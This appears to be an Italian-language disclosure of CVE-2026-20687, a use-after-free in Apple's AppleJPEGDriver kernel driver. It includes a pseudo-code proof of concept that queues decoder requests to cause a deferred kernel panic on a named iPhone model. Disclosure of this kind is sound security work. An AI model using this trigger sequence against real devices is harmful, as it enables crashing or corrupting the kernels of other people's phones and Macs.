
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilità del kernel iOS/macOS che porta a un panic differito (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Autore: Johnny Franks (@0xjohnny)
Componente: Kernel
Impatto: Un'app potrebbe causare una terminazione imprevista del sistema o scrivere nella memoria del kernel
Descrizione: Un problema di use after free è stato risolto con una migliore gestione della memoria.
Questo causerà un kernel panic sul tuo dispositivo. Salva il tuo lavoro.
Testato su iOS 26.3 (23D125) su iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Trigger diretto:
// PoC: predispone il driver; il panic è solitamente differito fino all'apertura di Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Successivamente, l'apertura di Camera attiva:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NON rimuove dalla coda (req + 0x78)
// Ancora più tardi (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // obsoleto: node_ptr == (req liberata + 0x78)
req2 = *(node_ptr + 0x8); // lettura UAF di req+0x80 -> fault tag MTE -> panic
ios-app/Test.xcodeproj in Xcode